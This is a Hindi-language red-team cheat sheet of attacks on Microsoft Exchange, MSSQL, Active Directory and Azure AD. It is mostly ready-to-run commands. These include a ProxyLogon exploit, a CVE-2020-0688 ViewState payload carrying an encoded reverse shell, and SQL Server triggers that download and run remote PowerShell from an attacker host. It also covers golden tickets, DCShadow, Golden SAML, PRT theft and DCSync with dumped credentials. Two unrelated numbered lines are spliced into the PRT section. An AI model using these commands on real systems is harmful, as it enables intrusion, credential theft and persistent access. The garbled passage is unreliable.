*OAB.XML फ़ाइल निकालें जिसमें रिकॉर्ड होते हैं*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/oab.xml > oab.xml

cat oab.xml |grep '.lzx' |grep data
```
*LZX संपीड़ित फ़ाइल निकालें*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/$OABId-data-1.lzx > oab.lzx

./oabextract oab.lzx oab.bin && strings oab.bin |egrep -o "(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])" | sort -u > emails.txt
```
> उपयोग करते हुए [oaburl.py](https://gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438) :```powershell
./oaburl.py $domain/$user:[email protected] -e [email protected]
```
### PrivExchange

**[PrivExchange](https://github.com/dirkjanm/PrivExchange) PushSubscription सुविधा का उपयोग करता है, एक उपयोगकर्ता एक्सचेंज सर्वर के NTLM प्रमाणीकरण डेटा को "PushSubscription" API पर एक सरल कॉल के माध्यम से कैप्चर करने में सक्षम है**```bash
responder -I eth0 -Av
python3 privexchange.py -d $domain -u $user -p $password -ah -ap '/test/test/test' mx.server.com --debug
```
### ProxyLogon

**[ProxyLogon](https://github.com/hausec/ProxyLogon) को CVE-2021-26855 का नाम दिया गया है जो एक हमलावर को MS Exchange सर्वरों पर प्रमाणीकरण को दरकिनार करने और उपयोगकर्ताओं का प्रतिरूपण करने की अनुमति देता है**```bash
python proxylogon.py $ip user@fqdn
```
> मेटास्प्लॉइट का उपयोग करके:```bash
use auxiliary/scanner/http/exchange_proxylogon
use auxiliary/gather/exchange_proxylogon
use exploit/windows/http/exchange_proxylogon_rce
```
### CVE-2020-0688

यह CVE फिक्स्ड क्रिप्टोग्राफिक कीज़ के माध्यम से EWS पर RCE की अनुमति देता है

*RCE के लिए मान प्राप्त करें :*
- *ViewStateUserKey* : `document.getElementById("_VIEWSTATEGENERATOR").value`
- *ViewStateGenerator* : `ASP.NET_SessionId````powershell
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc JHNtPShOZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTQuOSIsOTAwNikpLkdldFN0cmVhbSgpO1tieXRlW11dJGJ0PTAuLjY1NTM1fCV7MH07d2hpbGUoKCRpPSRzbS5SZWFkKCRidCwwLCRidC5MZW5ndGgpKSAtbmUgMCl7OyRkPShOZXctT2JqZWN0IFRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRidCwwLCRpKTskc3Q9KFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKChpZXggJGQgMj4mMSkpOyRzbS5Xcml0ZSgkc3QsMCwkc3QuTGVuZ3RoKX0=" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
```
## MSSQL Server

### यूएनसी पथ इंजेक्शन

[ ❓ ] : यूनिफॉर्म नेमिंग कन्वेंशन __नेटवर्क पर संसाधनों को साझा करने की अनुमति देता है__ एक बहुत ही सटीक सिंटैक्स के माध्यम से: `\IP-Server\shareName\Folder\File`

लॉन्च रिस्पॉन्डर : `responder -I eth0````sql
EXEC master..xp_dirtree \"\\\\192.168.1.33\\\\evil\";
```
```sql
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
```
### MC-SQLR पॉइज़निंग

*SQL Server Resolution Protocol एक सरल एप्लिकेशन-स्तरीय प्रोटोकॉल है जिसका उपयोग क्लाइंट और डेटाबेस सर्वर डिस्कवरी सेवाओं के बीच अनुरोधों और प्रतिक्रियाओं के स्थानांतरण के लिए किया जाता है।```vbs
CreateObject("ADODB.Connection").Open "Provider=SQLNCLI11;Data Source=DOESNOTEXIST\INSTANCE;Integrated Security=SSPI;"
```
> हमने इस VBA script के साथ **Administrator** का हैश कैप्चर किया।```python
[+] Listening for events...
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL-BROWSER] Sending poisoned browser response to 10.10.14.33
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL] NTLMv2 Client   : 10.1.2.3
[MSSQL] NTLMv2 Username : TEST\Administrator
[MSSQL] NTLMv2 Hash     : Administrator::TEST:1122334455667788...
```
### DML, DDL और लॉगऑन ट्रिगर

[ ❓ ] : **ट्रिगर** एक संग्रहीत प्रक्रिया है जो SQL सर्वर में कोई घटना होने पर स्वचालित रूप से निष्पादित होती है।

- डेटा डेफिनिशन लैंग्वेज (DDL) – Create, Alter और Drop स्टेटमेंट्स और कुछ सिस्टम संग्रहीत प्रक्रियाओं पर निष्पादित होता है।
- डेटा मैनिपुलेशन लैंग्वेज (DML) – Insert, Update और Delete स्टेटमेंट्स पर निष्पादित होता है।
- लॉगऑन ट्रिगर – उपयोगकर्ता के लॉगऑन पर निष्पादित होता है।

**ट्रिगर सूची**

*सभी ट्रिगर सूचीबद्ध करें*```sql
SELECT * FROM sys.server_triggers
```
*डेटाबेस के लिए ट्रिगर्स की सूची*```sql
SELECT * FROM sys.server_triggers
```
*PowerShell का उपयोग करके एक इंस्टेंस पर DDL और DML ट्रिगर सूचीबद्ध करें*```powershell
Get-SQLTriggerDdl -Instance ops-sqlsrvone -username $username -Password $password -Verbose
Get-SQLTriggerDml -Instance ops-sqlsrvone -username $username -Password $password -Verbose
```
*DML ट्रिगर्स का उपयोग स्थायित्व के लिए करें*```sql
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'as'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"'
GO
```
*स्थायित्व के लिए DDL ट्रिगर्स का उपयोग करें*```sql
CREATE Trigger [persistence_ddl_1]
ON ALL Server
FOR DDL_LOGIN_EVENTS
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
GO
```
*persistence के लिए Logon triggers का उपयोग करें*```sql
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
END;
```
## फॉरेस्ट स्थायित्व

### DCShadow

**DCShadow लक्ष्य डोमेन में एक नया डोमेन कंट्रोलर अस्थायी रूप से पंजीकृत करता है** और इसका उपयोग निर्दिष्ट वस्तुओं पर SIDHistory, SPNs... जैसी विशेषताओं को "धकेलने" के लिए करता है, बिना संशोधित वस्तु के परिवर्तन लॉग छोड़े!

*⚠️ आवश्यकताएँ :*
- DCShadow का उपयोग करने के लिए DA विशेषाधिकार आवश्यक हैं।
- हमलावर की मशीन को रूट डोमेन का हिस्सा होना चाहिए।

इस हमले के लिए एक समझौता की गई मशीन पर 2 इंस्टेंस की आवश्यकता होती है:

**1 इंस्टेंस :** *SYSTEM विशेषाधिकारों के साथ RPC सर्वर शुरू करें और संशोधित की जाने वाली विशेषताओं को निर्दिष्ट करें*```c
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:root1user /attribute:Description /value="Hello from DCShadow"
```
**2 उदाहरण :** *DA के पर्याप्त विशेषाधिकारों के साथ मानों को पुश करने के लिए :*```c
mimikatz # sekurlsa::pth /user:Administrator /domain:$domain /ntlm:$admin_hash /impersonate
mimikatz # lsadump::dcshadow /push
```
## क्रॉस फ़ॉरेस्ट हमले

### ट्रस्ट टिकट

*ट्रस्ट कुंजी डंप करना*```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```
*Trust key का उपयोग करके IR-TGT की जालसाजी*```powershell
Invoke-Mimikatz -Command '"Kerberos::golden /domain:$domain /sid:$sid /sids:$extra_sids /rc4:$rc4_hash /user:Administrator /service:krbtgt /target:$target /ticket:$path/to/trust_ticket.kirbi"'
```
*CIFS सेवा के लिए TGS प्राप्त करें*```powershell
asktgs path/to/trust_ticket.kirbi CIFS/ps-dc.powershell.local
```
*CIFS सेवा के लिए TGS का उपयोग करें*```powershell
kirbikator.exe lsa .\CIFS.$domain.kirbi ls \\$domain\`c$
```
### KRBTGT हैश का उपयोग करना```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domaine.fun.local /sid:S-1-5-x-x-x-x /sids:S-1-5-x-x-x-x-519 /krbtgt:<hash> /ticket:C:\path\krb_tgt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\path\krb_tgt.kirbi
```
## Azure सक्रिय निर्देशिका

### AZ उपयोगकर्ता गणना

*Azure सक्रिय निर्देशिका से **Connect-MsolService** के साथ कनेक्शन।*```powershell
PS> Connect-MsolService -Credential $cred
```
*यह कमांड MFA (मल्टीफैक्टर प्रमाणीकरण) के साथ गणना की अनुमति देता है*```powershell
Get-MsolUser -EnabledFilter EnabledOnly -MaxResults 50000 | select DisplayName,UserPrincipalName,@{N="MFA Status"; E={ if( $_.StrongAuthenticationRequirements.State -ne $null){ $_. StrongAuthenticationRequirements.State} else { "Disabled"}}} | export-csv mfaresults.csv
```
*Azure AD Connect Server का पता लगाएं*```powershell
ldapsearch -H ldap://DC01.MEGACORP.CORP:389 -D "MEGACORP\john" -w $password -b "DC=MEGACORP,DC=CORP" '(description=*Azure*)' description
```
### AZ CLI का उपयोग करके गणना

**स्टोरेज गणना**

*ब्लॉब स्टोरेज गणना*```powershell
az storage account list -o table
az storage account list -o json | jq -r '.[].name'
```
### PowerZure

*एक नया उपयोगकर्ता बनाएँ*```powershell
New-AzureUser -Username '[email protected]' -Password catAker
```
*निर्दिष्ट VM पर एक कमांड निष्पादित करता है*```powershell
Execute-Command -OS Windows -VM Win10 -ResourceGroup rg01 -Command "whoami"
```
### Golden SAML

*⚠️ आवश्यकताएँ :*
- ADFS सर्वर के व्यवस्थापक विशेषाधिकार
- `ADFS Public Certificate`
- `IdP Name`
- `Role Name`

> प्राप्त करें `ADFS Public Certificate`:```powershell
PS > [System.Convert]::ToBase64String($cer.rawdata)
```
> प्राप्त करें `IdP Name`:```powershell
PS > (Get-ADFSProperties).Identifier.AbsoluteUri
```
> प्राप्त करें `Role Name`:```powershell
PS > (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
a toolkit to exploit Golden SAML can be found [here](https://github.com/secureworks/whiskeysamlandfriends)

> ** Golden SAML, गोल्डन टिकट के समान है और Kerberos प्रोटोकॉल को प्रभावित करता है। गोल्डन टिकट की तरह, Golden SAML एक हमलावर को SAML एजेंटों (उदाहरण: Azure, AWS, vSphere, Okta, Salesforce, ...) द्वारा संरक्षित संसाधनों तक एक गोल्डन टिकट के माध्यम से उन्नत विशेषाधिकारों के साथ पहुँचने की अनुमति देता है।**

*ShockNAwe:*
- 1. AD FS कॉन्फ़िगरेशन सेटिंग्स को रिमोटली निकालता है
- 2. गोल्डन SAML टोकन बनाता और हस्ताक्षर करता है
- 3. गोल्डन SAML टोकन के 'assertion' भाग को निकालता है और Azure Core Management API को एक वैध एक्सेस टोकन प्राप्त करने के लिए पास करता है
- 4. सब्सक्रिप्शन ID की गणना करता है
- 5. सब्सक्रिप्शन में VM की पूरी सूची की गणना करता है
- 6. सभी VMs पर SYSTEM/root के रूप में मनमाने कमांड निष्पादित करता है

*WhiskeySAML:*
- 1. AD FS कॉन्फ़िगरेशन सेटिंग्स को रिमोटली निकालें
- 2. गोल्डन SAML टोकन बनाएं और हस्ताक्षर करें
- 3. गोल्डन SAML टोकन को Microsoft Azure पोर्टल पर पास करें
- 4. Azure MFA कॉन्फ़िगरेशन को बायपास करते हुए किसी भी उपयोगकर्ता के रूप में Azure पोर्टल में लॉग इन करें```bash
python3 shocknawe.py --target-user $user --domain $domain --adfs-host=$adfs_server --dc-ip $ip
```
### PRT Manipulation

#### PassThePRT

*AzureAdJoined स्थिति जांचें और Mimikatz डाउनलोड करें:*```powershell
dsregcmd.exe /status
iex (New-Object Net.Webclient).downloadstring(“https://server/Invoke-Mimikatz.ps1”)
```
*खोज रहे हैं **prt** और **KeyValue**:*```c
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
```
*उपयोग करें **APKD function** को डीकोड करने के लिए **KeyValue** और सहेजें **"Context"** और **"DerivedKey"** मान:*```c
mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:$KeyValue /unprotect
```
6. **आभासी वातावरण समर्थन**: प्रत्येक होस्ट सिस्टम में अपनी स्वयं की कॉन्फ़िगरेशन फ़ाइलें हो सकती हैं।

7. **लोड और आयात**: सिस्टम एकाधिक होस्ट सिस्टम से निर्देशिका संरचनाओं को लोड करने और फिर आयात करने में सक्षम है।```c
mimikatz # dpapi::cloudapkd /context:$context /derivedkey:$DerivedKey /Prt:$prt

---SNIP---
Signed JWT : eyJ...
```
*PRT-Cookie को [lantern](https://github.com/ConstantinT/Lantern) का उपयोग करके बनाएँ:*```powershell
Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe cookie --sessionkey <SessionKey> --prt <PRT from Mimikatz>
```
*JWT जनरेट करें```powershell
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
```
### MSOL सेवा खाता

> आप [azuread_decrypt_msol.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c) के साथ MSOL सेवा खाते को डंप कर सकते हैं, जिसका उपयोग Azure AD Connect Sync द्वारा किया जाता है, और डंप किए गए क्रेडेंशियल्स के साथ DCsync हमला शुरू कर सकते हैं

*MSOL खाते के साथ DCSync*```powershell
secretsdump -outputfile hashes $domain/$msol_svc_acc:$msol_pwd@$ip
```
## Miscs

### डोमेन स्तर विशेषता

#### MachineAccountQuota (MAQ) शोषण

crackmapexec (CME) का उपयोग maq मॉड्यूल के साथ करें :

`cme ldap $dc -d $DOMAIN -u $USER -p $PASSWORD -M maq`

#### BadPwdCount```python
crackmapexec ldap 10.10.13.100 -u $user -p $pwd --kdcHost 10.10.13.100 --users
LDAP        10.10.13.100       389    dc1       Guest      badpwdcount: 0 pwdLastSet: <never>
```
### AD में IPv6 का दुरुपयोग

ping6 का उपयोग करके लक्ष्य पर ICMPv6 पैकेट भेजना :

`ping6 -c 3 <target>`

nmap का उपयोग करके IPv6 पते की स्कैनिंग :

`nmap -6 -sCV dead:beef:0000:0000:b885:d62a:d679:573f --max-retries=2 --min-rate=3000 -Pn -T3`



IPv6 के लिए उपकरणों को अनुकूलित करने के सुझाव :```bash
echo -n "port1" "port2" "port3" | xargs -d ' ' -I% bash -c 'socat TCP4-LISTEN:%,fork TCP6:[{ipv6-address-here}]:% &'
netstat -laputen |grep LISTEN
```
आप AF_INET मान को AF_INET6 से बदल सकते हैं socket python lib से :```bash
sed -i "s/AF_INET/AF_INET6/g" script.py
```
#### दुष्ट DHCP

`mitm6 -i eth0 -d 'domain.job.local'`


#### IOXIDResolver इंटरफ़ेस गणना

यह एक छोटी स्क्रिप्ट है जो NetworkAddr फ़ील्ड में पतों की गणना करती है [**RPC_C_AUTHN_DCE_PUBLIC**](https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants) स्तर के साथ।```py
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dcomrt import IObjectExporter

RPC_C_AUTHN_DCE_PUBLIC  = 2

stringBinding = r'ncacn_ip_tcp:%s' % "IP"
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpc = rpctransport.get_dce_rpc()
rpc.set_auth_level(RPC_C_AUTHN_DCE_PUBLIC)
rpc.connect()
print("[*] Try with RPC_C_AUTHN_DCE_PUBLIC...")
exporter = IObjectExporter(rpc)
binding = exporter.ServerAlive2()
for bind in binding:
    adr = bind['aNetworkAddr']
    print("Adresse:", adr)
```
## References

- https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/cloudap
- https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
- https://www.thehacker.recipes/ad/movement/kerberos/asreproast
- https://www.hackingarticles.in/credential-dumping-ntds-dit/
- https://blog.alsid.eu/dcshadow-explained-4510f52fc19d
- https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94
- https://github.com/rootsecdev/Azure-Red-Team
- https://www.secureworks.com/blog/going-for-the-gold-penetration-testing-tools-exploit-golden-saml

Awesome-RedTeam-Cheatsheet

सबसे लोकप्रिय